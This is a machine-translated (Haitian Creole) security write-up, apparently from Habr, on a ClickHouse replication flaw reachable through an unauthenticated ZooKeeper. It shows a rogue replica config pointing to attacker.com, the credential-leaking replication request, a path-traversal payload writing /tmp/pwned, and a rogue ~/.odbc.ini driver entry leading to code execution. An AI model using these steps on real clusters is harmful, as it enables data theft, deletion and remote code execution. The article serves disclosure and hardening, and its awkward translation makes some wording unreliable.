Poukisa ou bezwen kenbe kaj zou fèmen?

Poukisa ou bezwen kenbe kaj zou fèmen?

Atik sa a pral rakonte istwa a nan yon vilnerabilite trè espesifik nan pwotokòl la replikasyon ClickHouse, epi li pral montre tou ki jan sifas atak la ka elaji.

ClickHouse se yon baz done pou estoke gwo volim done, pi souvan itilize plis pase yon kopi. Clustering ak replikasyon nan ClickHouse yo bati sou tèt Apache ZooKeeper (ZK) epi mande dwa ekri.

Enstalasyon ZK defo a pa mande pou otantifikasyon, kidonk dè milye de sèvè ZK yo itilize pou konfigirasyon Kafka, Hadoop, ClickHouse yo disponib piblikman.

Pou diminye sifas atak ou a, ou ta dwe toujou configured otantifikasyon ak otorizasyon lè w ap enstale ZooKeeper

Natirèlman, gen kèk deserializasyon Java ki baze sou 0day, men imajine ke yon atakè te kapab li ak ekri nan ZooKeeper, yo itilize pou replikasyon ClickHouse.

Lè yo configured nan mòd cluster, ClickHouse sipòte demann distribiye DDL, pase nan ZK - pou yo nœuds yo kreye nan fèy la /clickhouse/task_queue/ddl.

Pou egzanp, ou kreye yon ne /clickhouse/task_queue/ddl/query-0001 ak kontni:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

epi apre sa, yo pral efase tab tès la sou sèvè cluster host1 ak host2. DDL tou sipòte kouri CREATE/ALTER/DROP requêtes.

Son pè? Men, ki kote yon atakè ka jwenn adrès sèvè?

ClickHouse replikasyon travay nan nivo tab endividyèl yo, se konsa ke lè yon tab kreye nan ZK, se yon sèvè espesifye ki pral responsab pou echanj metadata ak kopi. Pou egzanp, lè w ap egzekite yon demann (ZK dwe configuré, chXX - non kopi a, foobar - Non tab la):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

nœuds yo pral kreye kolòn и Metadata.

Kontni /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Èske li posib pou rantre done ki soti nan gwoup sa a? Wi, si pò replikasyon an (TCP/9009) sou sèvè chXX-address firewall la pa pral fèmen epi otantifikasyon pou replikasyon pa pral configuré. Ki jan yo kontoune otantifikasyon?

Yon atakè ka kreye yon nouvo kopi nan ZK pa senpleman kopye sa ki soti nan /clickhouse/tables/01-01/foobar/replicas/chXX ak chanje siyifikasyon an host.

Kontni /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Lè sa a, ou bezwen di lòt kopi yo ke gen yon nouvo blòk done sou sèvè atakè a ke yo bezwen pran - yo kreye yon ne nan ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX kontwa k ap grandi monotone, ki ta dwe pi gran pase dènye a nan jounal evènman an):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kote source_replica - non kopi atakè a te kreye nan etap anvan an, block_id - idantifyan blòk done, jwenn - "jwenn blòk" lòd (ak Men kòmandman pou lòt operasyon yo).

Apre sa, chak kopi li yon nouvo evènman nan boutèy la epi li ale nan yon sèvè kontwole pa atakè a pou resevwa yon blòk done (pwotokòl la replikasyon se binè, kouri sou tèt HTTP). Sèvè attacker.com pral resevwa demann:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kote XXX se done otantifikasyon pou replikasyon. Nan kèk ka, sa a ka yon kont ak aksè nan baz done a atravè pwotokòl ClickHouse prensipal la ak pwotokòl HTTP. Kòm ou te wè, sifas atak la vin gwo anpil paske ZooKeeper, ki te itilize pou replikasyon, te rete san otantifikasyon configuré.

Ann gade nan fonksyon pou jwenn yon blòk done ki sòti nan yon kopi, li ekri ak tout konfyans ke tout kopi yo anba kontwòl apwopriye epi gen konfyans nan mitan yo.

Poukisa ou bezwen kenbe kaj zou fèmen?
kòd pwosesis replikasyon

Fonksyon an li yon lis fichye yo, answit non yo, gwosè yo, sa yo, epi ekri yo nan sistèm fichye a. Li vo separeman dekri kijan done yo estoke nan sistèm dosye a.

Genyen plizyè sous-répertoires nan /var/lib/clickhouse (anyè depo defo soti nan fichye a konfigirasyon):

drapo - anyè pou anrejistreman drapo, yo itilize nan rekiperasyon apre pèt done;
tmp — anyè pou estoke dosye tanporè;
user_files — operasyon ki gen dosye nan demann yo limite nan anyè sa a (INTO OUTFILE ak lòt moun);
Metadata — dosye sql ak deskripsyon tab la;
preprocessed_configs - trete dosye konfigirasyon derive soti nan /etc/clickhouse-server;
done - anyè aktyèl la ak done nan tèt li, nan ka sa a pou chak baz done se yon sou-anyè separe tou senpleman kreye isit la (pa egzanp /var/lib/clickhouse/data/default).

Pou chak tab, yo kreye yon sous-anyè nan anyè baz done a. Chak kolòn se yon dosye separe depann sou fòma motè. Pou egzanp pou yon tab foobarkreye pa yon atakè, yo pral kreye dosye sa yo:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replik la espere resevwa fichye ki gen menm non lè yo ap trete yon blòk done epi li pa valide yo nan okenn fason.

Lektè atantif la pwobableman te deja tande pale de konkatènasyon an sekirite nan file_name nan yon fonksyon WriteBufferFromFile. Wi, sa pèmèt yon atakè ekri kontni abitrè nan nenpòt ki dosye sou FS la ak dwa itilizatè clickhouse. Pou fè sa, kopi atakan an kontwole dwe retounen repons sa a nan demann lan (yo te ajoute kase liy pou fasil pou konprann):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

epi apre konkatènasyon ../../../../../../../../../tmp/pwned dosye a pral ekri /tmp/pwned ak kontni hellofromzookeeper.

Gen plizyè opsyon pou vire kapasite ekri dosye nan ekzekisyon kòd aleka (RCE).

diksyonè ekstèn nan RCE

Nan vèsyon ki pi gran yo, anyè a ak anviwònman ClickHouse yo te estoke ak dwa itilizatè clickhouse default. Fichye Anviwònman yo se fichye XML ke sèvis la li nan demaraj ak Lè sa a, kachèt nan /var/lib/clickhouse/preprocessed_configs. Lè chanjman rive, yo re-li. Si ou gen aksè a /etc/clickhouse-server yon atakè ka kreye pwòp tèt li diksyonè ekstèn kalite ègzekutabl ak Lè sa a, egzekite kòd abitrè. Vèsyon aktyèl yo nan ClickHouse pa bay dwa pa default, men si sèvè a te piti piti mete ajou, dwa sa yo ta ka rete. Si w ap sipòte yon gwoup ClickHouse, tcheke dwa yo nan anyè anviwònman an, li dwe fè pati itilizatè a. root.

ODBC pou RCE

Lè w ap enstale yon pake, yo kreye yon itilizatè clickhouse, men anyè lakay li pa kreye /nonexistent. Sepandan, lè w ap itilize diksyonè ekstèn oswa pou lòt rezon, administratè yo kreye yon anyè /nonexistent epi bay itilizatè a clickhouse aksè pou ekri li (SSZB! approx. tradiktè).

ClickHouse sipòte Odb epi yo ka konekte ak lòt baz done. Nan ODBC, ou ka presize chemen ki mennen nan bibliyotèk chofè baz done a (.so). Vèsyon ki pi gran nan ClickHouse pèmèt ou fè sa dirèkteman nan moun k ap okipe demann lan, men kounye a yo te ajoute yon chèk ki pi strik nan kòd koneksyon an. odbc-bridge, kidonk li pa posib ankò pou presize chemen chofè a soti nan demann lan. Men, èske yon atakè ka ekri nan anyè kay la lè l sèvi avèk vilnerabilite ki dekri pi wo a?

Ann kreye yon fichye ~/.odbc.ini ak kontni tankou sa a:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

Lè sa a, sou demaraj SELECT * FROM odbc('DSN=lalala', 'test', 'test'); bibliyotèk la pral chaje test.so ak resevwa RCE (mèsi buglloc pou pwent an).

Sa yo ak lòt vilnerabilite yo te fiks nan ClickHouse vèsyon 19.14.3. Pran swen ClickHouse ou ak ZooKeepers!

Sous: www.habr.com

Add nouvo kòmantè